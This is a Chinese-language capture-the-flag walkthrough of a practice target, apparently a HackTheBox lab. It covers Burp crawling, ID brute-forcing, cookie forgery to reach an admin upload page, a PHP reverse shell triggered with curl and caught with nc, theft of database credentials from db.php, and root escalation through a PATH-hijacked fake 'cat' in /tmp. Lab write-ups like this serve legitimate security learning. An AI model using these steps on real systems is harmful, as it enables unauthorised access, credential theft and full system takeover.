打开靶机,看一下第一个问题: 问:什么可以拦截本地的流量? 答案:看着y结尾,应该是proxy,输入正确 第二问: 问:登录界面在什么文件夹下面? 答案:/cdn-cgi/login。知道这个页面的最直接的方式是f12后看下页面,能看到有一个cdn-cgi/login相关的信息。同时,根据提示,可以使用burpsuite爬取,这也是更加合适的方式,因为爬取能提供我们下一步信息。 在burpsuite中爬取这个网站,操作就是拦截数据包后在target中右击网站选择spider this host即可。然后能发现以下信息,这就是答案。 第三个问题: 问:可以修改什么来获取到上传的页面? 回答:cookie。继续看第二问的截图,在request栏下面,cookie明显是user的id的形式,所以修改这个很可能能拿到上传的页面。 第四个问题: 问:上传的页面在哪里? 回答:/uploads。这题我没进行下一步操作我直接猜出来的。
第五个问题:
问: 回答: 这题的操作实现步骤比较多,思路如下: 通过问题三的爬虫可以知道,其中有一个请求中是包含ID的,而且这个ID是会反映出用户的角色的,注意,虽然cookie部分有user以及role,但是修改id还是能知道用户的角色。 上述链接渲染的页面如下: 那么思路就很直接了,通过爆破看一下修改不同的id看会出现什么。 将数据包发送至intrude,position选择id,payload1-100,step为1,然后进行爆破 选择attack,看下结果,很明显有几个包是和其他的不一样,下面试id=30时的包,能看到用户是super admin。 现在手里有了super admin的ID,那么我们就可以通过修改cookie以及上面请求的链接进入到super admin的后台了。修改后进行重放,进入后台成功。 接着准备一下shell,后面的步骤参考了这位大佬的文章(https://blog.csdn.net/m0_48066270/article/details/108641892) 复制kali自带的shell到桌面
cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop
然后修改一下其中的ip地址 使用burp拦截上传页面的信息,复制爆破的id=30的信息修改,如下: 点击forward后能拿到上传的页面 在选择文件后,继续点击upload后拦截包,在refer下面添加以下内容:
cookie: user=86575; role=super admin
然后forward出去,上传成功 经过前面几个问题,我们能知道上传的地方是uploads。首先我们使用nc监听一下1234端口
nc -nvvlp 1234
接着新开一个窗口,使用curl触发shell
curl http://10.129.5.255/uploads/php-reverse-shell.php
这样在nc中拿到了shell(能发现我这个地方ip变了,是因为老是上传不成功,重启了机器) 在shell中找到以下路径
cd /var/www/html/cdn-cgi/login
然后读取其中的db.php,能拿到数据库的账户和密码 至此,解决了第六个问题: 问:robert用户包含的账户密码文件是哪个? 答案:db.php 继续访问以下路径
cd /home/robert
读取其中的user.txt,拿到user的flag
cat user.txt
由于上述的shell不是交互的,因此通过下面这个命令将其提升为交互式的shell
SHELL=/bin/bash script -q /dev/null
切换为robert用户,密码为前面获取的db.php中的密码 使用id命令看下robert是否有特殊的权限,发现其还属于一个叫bugtracker的组。 接着使用下面两条命令查找一下bugtracker组有没有什么好东西,参考了大佬的思路。
find / -type f -group bugtracker 2>/dev/null //-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker //-al 以长格式方式显示并且显示隐藏文件
发现其中的bugtracker命令是存在s权限的,“可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的ID值输出以该数字为编号的bug报告”–参考了大佬的 接着使用strings命令看下这个命令是怎么运行的 其中包含cat /root/reports/这条命令,其含义是bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限。且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root。
export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo '/bin/sh' > cat //在此构造恶意的cat命令
chmod +x cat //赋予执行权限
" 这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,执行id命令发现只是robert用户的uid变为了root,不是真正的root用户 "–参考了大佬的 在这个地方执行上述命令后,要再执行一次
usr/bin/bugtracker
然后发现robert用户属于root了。前后对比如下 既然是root了,那么读取root下面的root.txt文件,拿到最后的flag 至此,完成了后面的7-12题。总体截图如下:
这题做完了。很多内容参考了大佬们的内容,按我自己的实力,到了用户的flag那步就到顶了。参考了以下的内容: https://zhuanlan.zhihu.com/p/332338130 https://blog.csdn.net/m0_48066270/article/details/108641892 https://www.cnblogs.com/black–horse/p/14715272.html
这其中还有很多不懂的东西,如: 最后拿到flag的一段执行的命令是什么意思?大部分都不太明白。回头我会再学习学习,总结总结。争取出个博客写明白些。
|